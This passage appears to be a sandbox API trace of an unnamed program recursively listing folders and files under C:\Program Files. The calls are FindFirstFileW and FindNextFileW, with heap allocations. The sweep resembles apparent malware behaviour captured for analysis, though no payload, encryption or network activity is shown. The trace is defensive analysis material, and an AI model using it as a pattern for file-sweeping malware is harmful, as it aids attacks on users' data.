ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0070.738] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0070.739] GetProcessHeap () returned 0x730000 [0070.739] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0070.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.066] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.067] GetProcessHeap () returned 0x730000 [0071.067] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.259] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.260] GetProcessHeap () returned 0x730000 [0071.260] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.362] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.363] GetProcessHeap () returned 0x730000 [0071.363] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.507] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.508] GetProcessHeap () returned 0x730000 [0071.508] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.777] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.778] GetProcessHeap () returned 0x730000 [0071.778] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0071.954] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0071.955] GetProcessHeap () returned 0x730000 [0071.955] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0071.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0073.091] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0073.092] GetProcessHeap () returned 0x730000 [0073.092] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0073.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0073.308] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0073.309] GetProcessHeap () returned 0x730000 [0073.309] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0073.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.114] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0074.121] GetProcessHeap () returned 0x730000 [0074.121] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0074.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.133] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0074.134] GetProcessHeap () returned 0x730000 [0074.134] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0074.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.136] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0074.136] GetProcessHeap () returned 0x730000 [0074.136] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0074.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.156] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0074.162] GetProcessHeap () returned 0x730000 [0074.163] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0074.163] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0074.163] GetProcessHeap () returned 0x730000 [0074.164] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0074.173] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0074.174] GetProcessHeap () returned 0x730000 [0074.174] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0074.176] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0074.176] GetProcessHeap () returned 0x730000 [0074.176] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea1880 | out: hHeap=0x730000) returned 1 [0074.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0074.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0074.184] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0074.186] GetProcessHeap () returned 0x730000 [0074.186] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0074.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0074.187] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0074.187] GetProcessHeap () returned 0x730000 [0074.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0074.187] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0074.187] GetProcessHeap () returned 0x730000 [0074.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea1880 | out: hHeap=0x730000) returned 1 [0074.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0074.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0074.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0074.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.484] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.484] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0074.485] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0074.485] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0074.486] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0074.486] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0074.486] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0074.488] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0074.488] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0074.488] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0074.488] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0074.524] GetProcessHeap () returned 0x730000 [0074.524] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0074.524] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0074.554] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0074.554] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0074.554] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0074.555] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0074.556] GetProcessHeap () returned 0x730000 [0074.556] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ef78d0 [0074.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0074.565] 